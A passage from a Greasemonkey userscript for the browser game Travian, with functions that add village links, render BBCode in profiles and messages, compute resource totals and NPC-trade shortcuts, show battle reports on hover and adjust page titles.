<img class=\"res\" src=\"' + img('r/4.gif') + '\"> ' + T('');\n\n\t\t\t\tnewTable.innerHTML = \"\";\n\t\t\t\tnewTable.appendChild(newTableTitleRow);\n\t\t\t\tnewTable.appendChild(newTableIconsRow);\n\t\t\t\tnewTable.appendChild(newTableTroopsRow);\n\n\t\t\t\t//\tnewTable.appendChild(newTableCropRow);\n\n\t\t\t\t// add the newly created table with the totals\n\t\t\t\tvar paragraph = xpathEvaluate('//div[@id=\"lmid2\"]/p[@class=\"f10\"]').snapshotItem(0);\n\t\t\t\tparagraph.parentNode.insertBefore(newTable, paragraph.nextSibling);\n\n\t\t\t\t//\tparagraph.parentNode.insertBefore(igmlink2, paragraph.nextSibling);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t*Development by Booboo\n\t**/\n\n\tfunction lonelyTown()\n\t{\n\t\tfunction downTown(href, uid)\n\t\t{\n\t\t\tajaxRequest(href, 'GET', null, function(t)\n\t\t\t{\n\t\t\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\t\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\t\t\t\tvar a = ansdoc.evaluate(\"//div[@id='lmid2']//table[@class='tbg']//td[@class='s7']//a[contains(@href, 'karte.php?d=')]\", ans, null, XPFirst, null).singleNodeValue;\n\t\t\t\tvar townName = a.textContent;\n\t\t\t\tvar mapZone = a.href.match(/\\?d=(\\d+)/)[1];\n\t\t\t\tif (townName && mapZone)\n\t\t\t\t{\n\t\t\t\t\tGM_setValue('lonelyTown_' + server + uid, mapZone + '|' + townName);\n\t\t\t\t\tlonelyTown();\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\tfunction newdID()\n\t\t{\t//get the newdid from the dorf3.php page via AJAX request - by ms99 Thank you for this. :-)\n\t\t\tajaxRequest(\"/dorf3.php\", 'GET', null, function(AJAXrespX) {\n\t\t\tvar aDoc = document.implementation.createDocument(\"\", \"\", null);\n\t\t\tvar aElem = document.createElement('DIV');\n\t\t\taElem.innerHTML = AJAXrespX.responseText;\n\t\t\taDoc.appendChild(aElem);\n\t\t\tvar aValue = aDoc.evaluate(\"//div[@id='lmid2']//table[@class='tbg']//td[@class='s7 li ou']//a[contains(@href,'dorf1.php?newdid=')]\", aElem, null, XPFirst, null).singleNodeValue;\n\t\t\tvar singleTownNEWDID = aValue.href.split(\"=\")[1];\n\t\t\tGM_setValue(\"capital\" + server + uid, singleTownNEWDID);\n\t\t\tlonelyTown();\n\t\t\t});\t\t\t\n\t\t}\n\t\tif (!find(\"//div[@id='lright1']//table[@class='f10']//a[contains(@href, 'newdid')]\", XPFirst))\n\t\t{\n\t\t\tvar href = find(\"//table[@id='navi_table']//td[@class='menu']//a[contains(@href, 'spieler.php')]/@href\", XPFirst).nodeValue;\n\t\t\tvar uid = href.match(/uid=(\\d+)/)[1];\n\t\t\tif (ltownID = GM_getValue(\"capital\" + server + uid, false))\n\t\t\t{\n\t\t\t\tif (ltown = GM_getValue('lonelyTown_' + server + uid, false))\n\t\t\t\t{\n\t\t\t\t\tltown = ltown.split('|');\n\t\t\t\t\tif (!(lright1 = find(\"//div[@id='lright1']\", XPFirst)))\n\t\t\t\t\t\tlright1 = $elem(\"div\", \"\", {\"id\": \"lright1\"}, {}, \"lmidall\");\n\t\t\t\t\tvar A = $elem('a', '<span class=\"f10 c0 s7 b\">'+ T('ALDEA') + ':</span>', {'href': 'dorf3.php'});\n\t\t\t\t\tlright1.insertBefore(A, lright1.firstChild);\n\t\t\t\t\tvar Table = $elem('table', '', {'class': 'f10'});\n\t\t\t\t\tvar tbody = $elem('tbody', '', {}, {}, Table);\n\t\t\t\t\tvar tr = $elem('tr', '', {}, {}, tbody);\n\t\t\t\t\tvar td = $elem('td', '<span class=\"c2\">&#8226;</span>&nbsp;&nbsp;', {'class': 'nbr'}, {}, tr);\n\t\t\t\t\ta = $elem('a', ltown[1], {'class': 'active_vl', 'href': '?newdid='+ ltownID}, {}, td);\n\n\t\t\t\t\ttd = $elem('td', '', {'class': 'right'}, {}, tr);\n\t\t\t\t\ttable = $elem('table', '',\n\t\t\t\t\t{\n\t\t\t\t\t\t'class': 'dtbl',\n\t\t\t\t\t\t'cellspacing': 0,\n\t\t\t\t\t\t'cellpadding': 0\n\t\t\t\t\t}, {}, td);\n\t\t\t\t\ttbody = $elem('tbody', '', {}, {}, table);\n\t\t\t\t\ttr = $elem('tr', '', {}, {}, tbody);\n\t\t\t\t\t$elem('td', '(' + id2xy(ltown[0]).x, {'class': 'right dlist1'}, {}, tr);\n\t\t\t\t\t$elem('td', '|', {'class': 'center dlist2'}, {}, tr);\n\t\t\t\t\t$elem('td', id2xy(ltown[0]).y + ')', {'class': 'left dlist3'}, {}, tr);\n\t\t\t\t\tinsertAfter(A, Table);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tdownTown(href, uid);\n\t\t\t}\n\t\t\telse\n\t\t\t\tnewdID();\n\t\t\tif (location.href.indexOf('spieler.php?s=1') > -1)\n\t\t\t\tGM_setValue('lonelyTown_' + server + uid, false);\n\t\t}\n\t}\n\n\t/**\n\t* Development by Booboo\n\t**/\n\n\tfunction BBcodedProfile(){\n\t\tvar profiles = find('//td[@class=\"slr3\"]', XPList);\n\t\tfor(var i = 0; i < profiles.snapshotLength; i++)\n\t\t\tprofiles.snapshotItem(i).innerHTML = parseBBCode(profiles.snapshotItem(i).innerHTML);\n\t}\n\n\tfunction parseBBCode(str)\n\t{\n\t\tvar temp = str;\n\t\ttemp = temp.replace(/\\[b\\]/gi, '<span style=\"font-weight:bold\">');\n\t\ttemp = temp.replace(/\\[i\\]/gi, '<span style=\"font-style:italic\">');\n\t\ttemp = temp.replace(/\\[u\\]/gi, '<span style=\"text-decoration:underline\">');\n\t\ttemp = temp.replace(/\\[&lt;\\]/gi, '<div style=\"text-align:left\">');\n\t\ttemp = temp.replace(/\\[&gt;\\]/gi, '<div style=\"text-align:right\">');\n\t\ttemp = temp.replace(/\\[blink\\]/gi, '<span style=\"text-decoration:blink\">');\n\t\ttemp = temp.replace(/\\[\\/[biu]\\]|\\[\\/blink\\]/gi, '</span>');\n\t\ttemp = temp.replace(/\\[c\\]/gi, '<center>');\n\t\ttemp = temp.replace(/\\[\\/c\\]/gi, '</center>');\n\t\ttemp = temp.replace(/\\[\\/(&lt;|&gt;)\\]/gi, '</div>');\n\t\ttemp = temp.replace(/\\[color=([a-z]+|#[\\da-f]{3,6})\\]/gi, '<font color=\"$1\">');\n\t\ttemp = temp.replace(/\\[\\/color\\]/gi, '</font>');\n\t\ttemp = temp.replace(/\\[url\\](.*)\\[\\/url\\]/gim, '<a href=\"$1\" target=\"_blank\">$1</a>');\n\t\ttemp = temp.replace(/\\[url=(.*)\\](.*)\\[\\/url\\]/gim, '<a href=\"$1\" target=\"_blank\">$2</a>');\n\t\ttemp = temp.replace(/\\[img\\](.*)\\[\\/img\\]/gi, '<img src=\"$1\" />');\n\t\ttemp = temp.replace(/(.|^)((ftp|http|https|file):\\/\\/[\\w.\\/?;&=$_+!*'|-]+)(<br[\\s\\/]?>|[\\s\\t\\)\\]]|$)/gim, '$1<a href=\"$2\" target=\"_blank\">$2</a>$4');\n\t\ttemp = temp.replace(/\\b([a-z\\d._%+-]+@[a-z\\d.-]+\\.[a-z]{2,4})\\b/gi, '<a href=\"mailto:$1\">$1</a>');\n\t\tcoords = temp.match(/\\(\\s*-?\\d+\\s*[\\/|,]\\s*-?\\d+\\s*\\)/gi);\n\t\troot = \"http://\" + document.domain;\n\t\tif (coords)\n\t\t{\n\t\t\tvar ret = '';\n\t\t\tfor (i = 0; i < coords.length; i++)\n\t\t\t{\n\t\t\t\tcurrent = coords[i];\n\t\t\t\txs = current.replace(/\\(\\s*(-?\\d+)\\s*[\\/|,]\\s*(-?\\d+)\\s*\\)/, \"$1\");\n\t\t\t\tys = current.replace(/\\(\\s*(-?\\d+)\\s*[\\/|,]\\s*(-?\\d+)\\s*\\)/, \"$2\");\n\t\t\t\tx = parseInt(xs) - 400;\n\t\t\t\ty = 400 - parseInt(ys);\n\t\t\t\tz = 801 * (y + 1) + x;\n\t\t\t\tret += temp.slice(0, temp.indexOf(current) + current.length) + '[<a href=\"' + root + '/a2b.php?z=' + z + '\"><img src=\"' + img('a/att_all.gif') + '\" style=\"margin:3px 0px 1px 3px; display: inline\" height=\"10\" width=\"10\" title=\"' + T('ATACAR') + '\" alt=\"' + T('ATACAR') + '\" border=\"0\"></a><a href=\"' + root + '/build.php?z=' + z + '&gid=17\"><img src=\"' + img('r/4.gif') + '\" style=\"margin:3px 0px 1px 3px; display: inline\" height=\"12\" width=\"12\" title=\"' + T('ENVIAR') + '\" alt=\"' + T('ENVIAR') + '\" border=\"0\"></a><a href=\"' + root + '/karte.php?z=' + z + '\">O</a>]';\n\t\t\t\ttemp = temp.slice(temp.indexOf(current) + current.length);\n\t\t\t}\n\t\t\tret += temp;\n\t\t}\n\t\treturn ret ? ret : temp;\n\t}\n\n\tfunction igmlinks()\n\t{\n\t\tOurArea = find(\"//td[@colspan='3']\", XPList);\n\t\tfor (var i = 0; i < OurArea.snapshotLength; i++) {\n\t\t\tLetterArea = OurArea.snapshotItem(i);\n\t\t\tif ($tags('textarea', LetterArea).length != 0) continue;\n\t\t\tLetterArea.innerHTML = parseBBCode(LetterArea.innerHTML);\n\t\t}\n\t}\n\n\t/**\n\t* Based on Travian NPC Helper - by GP\n\t**/\n\tfunction NPC_Helper_Init(){\n\t\tif(!readCookie('NPC_help'))\n\t\t\treturn;\n\t\tif (is_npc_page())\n\t\t{\n\t\t\tfill_out_npc_form(url);\n\t\t\tpersist_building_name();\n\t\t}\n\t\telse if (is_post_npc_page())\n\t\t\t\tinsert_npc_back_link();\n\t\tupdate();\n\t}\n\n\tfunction is_npc_page()\n\t{\n\t var xp = find('//tr[@class=\"rbg\"]/td[@colspan=\"5\"]', XPListO);\n\t return (xp.snapshotLength == 1 && $names('m2[]').length == 4);\n\t}\n\n\tfunction is_post_npc_page()\n\t{\n\t var xp = find('//p[@class=\"txt_menue\"]/following-sibling::*/img[@class=\"res\"]', XPListO);\n\t return (xp.snapshotLength == 8);\n\t}\n\n\tfunction is_troops_page()\n\t{\n\t var xp = find('//tr[@class=\"cbg1\"]', XPListO);\n\t return (xp.snapshotLength && $names('s1').length > 0);\n\t}\n\n\tfunction fill_out_npc_form(url)\n\t{\n\t if (url.indexOf('&' + npc_res_param) != npc_url.length) return false;\n\t var needed = get_query_param(url, npc_res_param).split(',');\n\t var inputs = $names('m2[]');\n\t for (var i = 0; i < 4; i++)\n\t {\n\t inputs[i].value = needed[i];\n\t }\n\t unsafeWindow.calculateRest();\n\t}\n\n\tfunction get_building_names()\n\t{\n\t var names = new Array();\n\t\tvar xp = find('//div[@id=\"lmid2\"]//h2', XPListO);\n\t if (xp.snapshotLength == 0)\n\t xp = find('//div[@id=\"lmid2\"]//h1/b', XPListO);\n\t for (var i = 0; i < xp.snapshotLength; i++)\n\t {\n\t names.push(xp.snapshotItem(i).textContent);\n\t }\n\t return names;\n\t}\n\n\tfunction persist_building_name()\n\t{\n\t var name = get_query_param(url, npc_name_param);\n\t if (name != undefined)\n\t {\n\t var xp = find('//form[@name=\"snd\"]', XPListO);\n\t xp.snapshotItem(0).action = add_query_param(xp.snapshotItem(0).action, npc_name_param, name);\n\t }\n\t}\n\n\tfunction insert_npc_back_link()\n\t{\n\t var bname = get_query_param(url, npc_name_param);\n\t if (!bname) return;\n\t $elem('p', '<a href=\"#\" onclick=\"window.history.go(-2)\"> &laquo; ' + bname + '</a>', {}, {}, 'lmid2');\n\t}\n\n\tfunction get_multiplier_fields()\n\t{\n\t var xp = find('//table[@class=\"tbg\"]/tbody/tr/td/input[starts-with(@name, \"t\")]', XPListO);\n\t if (!xp.snapshotLength) return;\n\t var fields = new Array();\n\t for (var i = 0; i < xp.snapshotLength; i++)\n\t fields.push(xp.snapshotItem(i));\n\t return fields;\n\t}\n\n\tfunction get_multipliers(fields)\n\t{\n\t if (fields == undefined) return;\n\t var inputs = new Array();\n\t for (var i = 0; i < fields.length; i++)\n\t {\n\t var f = fields[i].value;\n\t inputs.push(f.length == 0 || isNaN(f) ? 0 : parseInt(f));\n\t }\n\t return inputs;\n\t}\n\n\tfunction get_max_multiplier()\n\t{\n\t var xp = find('//table[@class=\"f10\"]/tbody/tr/td/b[1]', XPListO);\n\t if (xp.snapshotLength == 0 || xp.snapshotItem(0).innerHTML.match(/\\s*\\d+\\s*/) == null) return;\n\t var abs_max = parseInt(xp.snapshotItem(0).innerHTML);\n\n\t var m_fields = get_multiplier_fields();\n\t if (m_fields == undefined || m_fields.length != 1) return;\n\t xp = find('//td[@class=\"s7\"]/div/span[@class=\"c f75\"]', XPListO);\n\t if (xp.snapshotLength != 1) return;\n\t var re_m = xp.snapshotItem(0).innerHTML.match(/\\s*\\(.+: \\d+\\)/);\n\t if (re_m == null) return;\n\t var total_available = parseInt(xp.snapshotItem(0).innerHTML.replace(/[^\\d]/g, ''));\n\n\t var total_in_progress = 0;\n\t xp = find('//table[@class=\"tbg\"][2]/tbody/tr/td[2]', XPListO);\n\t for (var i = 0; i < xp.snapshotLength; i++)\n\t {\n\t var n = xp.snapshotItem(i).innerHTML.replace(/[^\\d]/g, '');\n\t if (n.length && !isNaN(n)) total_in_progress += parseInt(n);\n\t }\n\n\t return abs_max - total_available - total_in_progress;\n\t}\n\n\tfunction get_available_resources()\n\t{\n\t var resources = new Array();\n\t for (var i = 4; i > 0; i--)\n\t {\n\t var td = get('l' + i);\n\t var parts = td.innerHTML.split('/');\n\t resources.push(parseInt(parts[0]));\n\t }\n\t return resources;\n\t}\n\n\tfunction get_hourly_production()\n\t{\n\t var prod = new Array();\n\t for (var i = 4; i > 0; i--)\n\t {\n\t var td = get('l' + i);\n\t prod.push(parseInt(td.title));\n\t }\n\t return prod;\n\t}\n\n\tfunction update()\n\t{\n\t update_totals(1, '//table[@class=\"f10\"]/tbody/tr[1]/td');\n\t var multipliers = null;\n\t if (is_troops_page())\n\t multipliers = get_multipliers(get_multiplier_fields());\n\t update_totals(2, '//table[@class=\"tbg\"]/tbody/tr/td/table[@class=\"f10\"]/tbody/tr[2]/td', multipliers);\n\n\t // Update deficit/surplus as available resources change\n\t window.setTimeout(update, 1000);\n\t}\n\n\tfunction update_totals(set, xp, multipliers)\n\t{\n\t var available_res = get_available_resources();\n\t var total_have = 0;\n\t for (var i = 0; i < 4; i++)\n\t total_have += available_res[i];\n\t var hourly_production = get_hourly_production();\n\t var total_hourly_production = 0;\n\t for (var i = 0; i < 4; i++)\n\t total_hourly_production += hourly_production[i];\n\t var building_names = get_building_names();\n\t var multiplier_fields = get_multiplier_fields();\n\n\t // Needed resources\n\t var xp_need = find(xp, XPListO);\n\t if (xp_need.snapshotLength == 0) return;\n\t var multiplier_limit = get_max_multiplier();\n\t for (var i = 0; i < xp_need.snapshotLength; i++)\n\t {\n\t var td = xp_need.snapshotItem(i);\n\t var re_m = td.innerHTML.match(/\\<img class=\"res\"[^>]+\\>\\s*\\d+/g);\n\t if (re_m == null || re_m.length < 4) continue;\n\t re_m = re_m.slice(0, 4);\n\n\t // Read needed resources and calculate total\n\t var needed_res = new Array();\n\t var total_need_per_unit = 0;\n\t for (var j = 0; j < 4; j++)\n\t {\n\t var re_m2 = re_m[j].match(/\\d+$/);\n\t var n = parseInt(re_m2);\n\t needed_res.push(multipliers ? n * multipliers[i] : n);\n\t total_need_per_unit += n;\n\t }\n\t var total_need = multipliers ? total_need_per_unit * multipliers[i] : total_need_per_unit;\n\n\t // Get or create HTML container\n\t var container_id = 'gpnpc_' + set + '_' + i;\n\t var container = undefined;\n\t while ((container = get(container_id)) == null)\n\t {\n\t td.innerHTML += '<br><div id=\"' + container_id + '\" class=\"gp-container\"> </div>';\n\t }\n\n\t // Show total & deficit/surplus\n\t var r = total_have - total_need;\n\t var r_s = '(' + r + ')';\n\t if (r < 0)\n\t\t\t\tr_s = '<span class=\"gp-red\">(' + r + ')</span>';\n\t else if (r > 0)\n\t\t\t\tr_s = '<span class=\"gp-green\">(+' + r + ')</span>';\n\t container.innerHTML = '<b>' + T('TOTAL') + '</b>: ' + total_need + ' ' + r_s;\n\n\t // Show time estimate\n\t var dt_now = new Date();\n\t var dt_est = new Date();\n\t if (total_need > 0 && r < 0)\n\t {\n\t var sec_est = Math.ceil(Math.abs(r) / (total_hourly_production / 3600));\n\t dt_est.setTime(dt_now.getTime() + (sec_est * 1000));\n\t var d_est_s =\n\t (dt_est.getDate() < 10 ? '0' + dt_est.getDate() : dt_est.getDate()) + '.' +\n\t (dt_est.getMonth() < 9 ? '0' + (dt_est.getMonth() + 1) : (dt_est.getMonth() + 1)) +\n\t (dt_now.getFullYear() < dt_est.getFullYear() ? dt_est.getYear() : '');\n\t if (dt_est.getDate() == dt_now.getDate() && dt_est.getMonth() == dt_now.getMonth())\n\t d_est_s = '<span class=\"gp-highlight\">' + d_est_s + '</span>';\n\t var t_est_s =\n\t (dt_est.getHours() < 10 ? '0' + dt_est.getHours() : dt_est.getHours()) + ':' +\n\t (dt_est.getMinutes() < 10 ? '0' + dt_est.getMinutes() : dt_est.getMinutes());\n\t container.innerHTML += ' / <span class=\"gp-green\">@</span> ' + d_est_s + ', ' + t_est_s;\n\t }\n\n\t // Show time saved by NPC\n\t var time_saved = 0;\n\t if (total_need > 0)\n\t for (var j = 0; j < 4; j++)\n\t {\n\t var prod_per_minute = hourly_production[j] / 60;\n\t var min_until_npc = (dt_est.getTime() - dt_now.getTime()) / 1000 / 60;\n\t var available_at_npc_time = available_res[j] + (min_until_npc * prod_per_minute);\n\t var deficit_at_npc_time = needed_res[j] - available_at_npc_time;\n\t if (deficit_at_npc_time <= 0) continue;\n\t if (prod_per_minute <= 0)\n\t {\n\t time_saved = null;\n\t break;\n\t }\n\t var delta = Math.ceil(deficit_at_npc_time / prod_per_minute);\n\t if (delta > time_saved)\n\t time_saved = delta;\n\t }\n\t if (time_saved == null)\n\t container.innerHTML += ' / &#8734;';\n\t else if (time_saved > 0)\n\t {\n\t var delta_h = Math.floor(time_saved / 60);\n\t var delta_m = time_saved % 60;\n\t var delta_str = '-' + delta_h + 'h' + delta_m + 'm';\n\t if (delta_h < 1)\n\t delta_str = '<span class=\"gp-red\">' + delta_str + '</span>';\n\t container.innerHTML += ' / ' + delta_str;\n\t }\n\n\t // Show max.\n\t if (multipliers)\n\t {\n\t var max = Math.floor(total_have / total_need_per_unit);\n\t if (max > multiplier_limit) max = multiplier_limit;\n\t container.innerHTML += ' / max. <a href=\"#\" onclick=\"document.snd.' + multiplier_fields[i].name + '.value=' + max + '; return false;\">' + max + '</a>';\n\t }\n\n\t // Show NPC link\n\t if (total_need > 0 && r >= 0 && (time_saved > 0 || time_saved == null))\n\t {\n\t var npc_url_i = add_query_param(npc_url, npc_res_param, needed_res.join(','));\n\t npc_url_i = add_query_param(npc_url_i, npc_name_param, (building_names.length > 1 ? building_names[i] : building_names[0]));\n\t container.innerHTML += '&nbsp;<a href=\"' + npc_url_i + '\"> &raquo; NPC</a>';\n\t }\n\t }\n\t}\n\n\tfunction parse_url(url)\n\t{\n\t var url_parts = url.split('?', 2);\n\t if (url_parts.length == 1)\n\t\t\turl_parts[1] = '';\n\t var parts = {path: url_parts[0], query: url_parts[1]};\n\t return parts;\n\t}\n\n\tfunction get_query_param(url, param)\n\t{\n\t var pairs = parse_url(url).query.split('&');\n\t for (var i = 0; i < pairs.length; i++)\n\t {\n\t var ki = pairs[i].split('=');\n\t if (ki[0] == param)\n\t\t\t\treturn decodeURIComponent(ki[1]);\n\t }\n\t}\n\n\tfunction add_query_param(url, param, value)\n\t{\n\t var add_pair = param + '=' + encodeURIComponent(value);\n\t var added = false;\n\t var url_parts = parse_url(url);\n\t var pairs = url_parts.query.split('&');\n\t for (var i = 0; i < pairs.length; i++)\n\t {\n\t var ki = pairs[i].split('=');\n\t if (ki[0] == param)\n\t {\n\t pairs[i] = add_pair;\n\t added = true;\n\t break;\n\t }\n\t }\n\t if (!added)\n\t\t\tpairs.push(add_pair);\n\t return url_parts.path + '?' + pairs.join('&');\n\t}\n\n\t/** END of Travian NPC Helper **/\n\t/**--------------------------------- TQR ---------------------------------\n\t * Travian Quick Report v1.4b\n\t * author : mikrop\n\t **/\n\n\t/**\n\t * Podle urlResult priradi hodnotu definovanemu attributu v poradi\n\t * var attributesArray = new Array(URLX.BERICHTE, URLX.NACHRICHTEN, URLX.ALLIANZ, URLX.KARTE);\n\t *\n\t * @param {Object} attributesArray\n\t */\n\tfunction setObjectAttribute(attributesArray)\n\t{\n\t\tvar attribute = null;\n\t\tswitch (urlResult)\n\t\t{\n\t\t\tcase URLX.BERICHTE:\n\t\t\tattribute = attributesArray[0];\n\t\t\tbreak;\n\t\t\tcase URLX.NACHRICHTEN:\n\t\t\tattribute = attributesArray[1];\n\t\t\tbreak;\n\t\t\tcase URLX.ALLIANZ:\n\t\t\tattribute = attributesArray[2];\n\t\t\tbreak;\n\t\t\tcase URLX.KARTE:\n\t\t\tattribute = attributesArray[3];\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\tGM_log('Nastaveni pro neznamou url');\n\t\t\tbreak;\n\t\t}\n\t\treturn (attribute);\n\t}\n\n\tfunction xmlhttpRequest(url, anonymousFunction)\n\t{\n\t\tGM_xmlhttpRequest\n\t\t(\n\t\t\t{\n\t\t\t\tmethod: 'GET',\n\t\t\t\turl: url,\n\t\t\t\theaders:\n\t\t\t\t{\n\t\t\t\t\t'User-agent': 'Mozilla/5.0 (compatible) Greasemonkey',\n\t\t\t\t\t'Accept': 'text/xml, text/html',\n\t\t\t\t},\n\t\t\t\tonload: function(response)\n\t\t\t\t{\n\t\t\t\t\tif (response.status == 200 || response.status == 304)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp = window.document.createElement('div');\n\t\t\t\t\t\ttmp.innerHTML = response.responseText;\n\t\t\t\t\t\tanonymousFunction(tmp);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tGM_log('XML request error: ' + response.status);\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t}\n\n\tfunction createReportElements(parent)\n\t{\n\t\tvar elDivPaddingLeft = new Array('', '30px', '', '');\n\t\tvar elDiv = window.document.createElement('div');\n\t\telDiv.setAttribute('class', 'report');\n\t\telDiv.style.paddingLeft = setObjectAttribute(elDivPaddingLeft);\n\t\telDiv.style.textAlign = 'left';\n\t\telDiv.style.minWidth = '350px';\n\t\telDiv.style.display = 'none';\n\n\t\tvar elTdColspan = new Array(3, 4, 4, 0);\n\t\tvar elTd = window.document.createElement('td');\n\t\telTd.setAttribute('colspan', setObjectAttribute(elTdColspan));\n\t\telTd.appendChild(elDiv);\n\n\t\tif (location.href.match(/karte\\.php(\\?d=|\\?newdid)/))//if (urlResult == URLX.KARTE)\n\t\t{\n\t\t\tparent.parentNode.parentNode.parentNode.insertBefore(elTd, parent.nextSibling);\n\t\t} else\n\t\t{\n\t\t\tvar elTr = window.document.createElement('tr');\n\t\t\telTr.appendChild(elTd);\n\t\t\tparent.parentNode.insertBefore(elTr, parent.nextSibling);\n\t\t}\n\t}\n\n\tfunction resultXPTab(tmp)\n\t{\n\t\tvar XPTabArray = new Array(XPTbgTab, \".//table[contains(@class, 'f10')]\", XPTbgTab, XPTbgTab);\n\t\tvar XPTab = setObjectAttribute(XPTabArray);\n\t\tvar result = document.evaluate(XPTab, tmp, null, XPList, null);\n\n\t\tif (result.snapshotLength)\n\t\t{\n\t\t\treturn (result.snapshotItem(0));\n\t\t} else\n\t\t{\n\t\t\treturn (null);\n\t\t}\n\t\ttmp = null;\n\t}\n\n\tfunction appendReportElement(i, tbgTab)\n\t{\n\t\tvar sampleXp = \".//div[contains(@class, 'report')]\";\n\t\tvar result = find(sampleXp, XPList);\n\t\tvar parentDiv = result.snapshotItem(i);\n\t\tparentDiv.appendChild(tbgTab);\n\t}\n\n\tfunction myEventListener(parent, j, e, d)\n\t{\n\t\tparent.addEventListener\n\t\t(e, function(event)\n\t\t\t{\n\t\t\t\tvar el = event.target;\n\t\t\t\tvar elDiv = null;\n\t\t\t\tif (location.href.match(/karte\\.php(\\?d=|\\?newdid)/))//if (urlResult == URLX.KARTE)\n\t\t\t\t{\n\t\t\t\t\telDiv = el.parentNode.parentNode.parentNode.childNodes[(5 + j)].firstChild;\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\telDiv = el.parentNode.parentNode.nextSibling.firstChild.firstChild;\n\t\t\t\t}\n\t\t\t\telDiv.style.display = d;\n\t\t\t}, false\n\t\t);\n\t}\n\n\tfunction addReportListener(parent, j)\n\t{\n\t\tvar objectEvents = { e: ['mouseover', 'mouseout'], d: ['block', 'none'] };\n\t\tfor (var i = 0; i < 2; i++)\n\t\t{\n\t\t\tmyEventListener(parent, j, objectEvents.e[i], objectEvents.d[i]);\n\t\t}\n\t}\n\n\tfunction TQR()\n\t{\n\t\tvar sampleXp = null;\n\t\tif (location.href.match(/karte\\.php(\\?d=|\\?newdid)/))\t//if (urlResult == URLX.KARTE)\n\t\t{\n\t\t\tsampleXp = \"//table[@class='f10']/tbody/tr/td[2]/li/a\";\n\t\t} else\n\t\t{\n\t\t\tsampleXp = XPTbgTab + \"/tbody/tr[not(@class='rbg' or @class='cbg1')]\";\n\t\t}\n\t\tvar result = find(sampleXp, XPList);\n\n\t\tif (result.snapshotLength)\n\t\t{\n\t\t\tvar i = 0;\n\t\t\tfor (j = 0; j < result.snapshotLength; j++)\n\t\t\t{\n\t\t\t\tvar parent = result.snapshotItem(j);\n\t\t\t\tcreateReportElements(parent);\n\t\t\t\tvar pageAnchor = null;\n\t\t\t\tif ((location.href.match(/berichte.php($|\\?t=)/)) || (location.href.match(/allianz.php\\?s=3/)))//if ((urlResult == URLX.BERICHTE) || (urlResult == URLX.ALLIANZ))\n\t\t\t\t{\n\t\t\t\t\tpageAnchor = parent.childNodes[3].firstChild;\n\t\t\t\t} else if (location.href.match(/nachrichten\\.php($|\\?t=2|\\?t=3)/))//if (urlResult == URLX.NACHRICHTEN)\n\t\t\t\t{\n\t\t\t\t\tpageAnchor = parent.childNodes[2].firstChild;\n\t\t\t\t} else if (location.href.match(/karte\\.php(\\?d=|\\?newdid)/))//if (urlResult == URLX.KARTE)\n\t\t\t\t{\n\t\t\t\t\t/*\n\t\t\t\t\t * Klicka, aby nedochazelo po zobrazeni reportu k odsunuti ostatnich odkazu a tim vyvolani\n\t\t\t\t\t * udalosti onMouseOut\n\t\t\t\t\t */\n\t\t\t\t\tparent.parentNode.parentNode.style.verticalAlign = 'top';\n\t\t\t\t\tpageAnchor = parent;\n\t\t\t\t}\n\t\t\t\taddReportListener(pageAnchor, j);\n\t\t\t\txmlhttpRequest\n\t\t\t\t(pageAnchor.href, function(tmp)\n\t\t\t\t\t{\n\t\t\t\t\t var XPTab = resultXPTab(tmp);\n\t\t\t\t\t appendReportElement(i++, XPTab);\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\t/**--------------------------------- End TQR --------------------------------- */\n\n\tfunction fix_title()\n\t{\n\t\tif ((CONFIG_TITLEFIX != 1) && (CONFIG_TITLEFIX != 2) && (CONFIG_TITLEFIX != 3)) { return; }\n\t\tvar xp = xpath('//h1');\n\t\tif (xp.snapshotLength == 0) return;\n\t\tvar title = xp.snapshotItem(0).innerHTML.replace(/\\<[^>]*?\\>/g, '');\n\n\t\tvar title = getInnerText(xp.snapshotItem(0)).replace(/\\<[^>]*?\\>/g, '');\n\n\t\tif (window.location.pathname.indexOf('/dorf2.php') == 0)\n\t\t\ttitle = String.fromCharCode(164, 32) + title;\n\t\tswitch (CONFIG_TITLEFIX)\n\t\t{\n\t\t\tcase 1:\t// Adds the title inside the page\n\t\t\t\t\tdocument.title += \" - \" + title;\n\t\t\t\t\tbreak;\n\n\t\t\tcase 2:\t// Crops the document title and adds the title inside the page\n\t\t\t\t\tvar dTitle = document.title;\n\t\t\t\t\tvar spacePos = dTitle.indexOf(\" \");\n\t\t\t\t\tdTitle = dTitle.substr(0, 1) + dTitle.substr(spacePos);\n\t\t\t\t\tdocument.title = dTitle + \" - \" + title;\n\t\t\t\t\tbreak;\n\n\t\t\tcase 3:\t// Replaces the document title with the title inside the page\n\t\t\t\t\tdocument.title = title;\n\t\t\t\t\tbreak;\n\n\t\t\tdefault:document.title = \"ERROR\";\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tfunction xpath(xp, context, doc)\n\t{\n\n\t\tdoc = doc != null ? doc : document;\n\t\tcontext = context != null ? context : document;\n\n\t\treturn doc.evaluate(xp, context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n\n\t}\n\n\t/** Muestra una tabla en la pagina de perfil con los valores almacenados en cookies por el script */\n\tfunction mostrarConfiguracion()\n\t{\n\t\tif (get('configuracion'))\n\t\t\treturn;\n\t\tif(a = find(\"//div[@class='map_details_actions']//table[@class='f10' and @width='100%']\", XPFirst));\n\t\telse var a = get('lmid2');\n\t\tif (!a)\n\t\t\ta = find(\"//form\", XPFirst);\n\t\tvar tabla = $elem(\"TABLE\", \"\", {\n\t\t\t\"cellspacing\": 1,\n\t\t\t\"cellpadding\": 2,\n\t\t\t\"class\": \"tbg\",\n\t\t\t\"id\": \"configuracion\"\n\t\t});\n\n\t\tvar fila = $elem(\"TR\");\n\t\tvar td = $elem(\"TD\", T('TBH_SETUP_I'), {\n\t\t\t\"class\": \"rbg\",\n\t\t\t\"colspan\": 3\n\t\t}, {}, 